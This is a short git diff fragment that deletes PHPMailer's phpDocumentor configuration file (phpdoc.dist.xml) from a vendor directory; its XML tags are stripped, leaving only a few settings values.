b/vendor/phpmailer/phpmailer/phpdoc.dist.xml deleted file mode 100644 index 4bf2d5349e..0000000000 --- a/vendor/phpmailer/phpmailer/phpdoc.dist.xml +++ /dev/null @@ -1,20 +0,0 @@ - - - PHPMailer - - docs - utf8 - - TODO - - - - docs - - -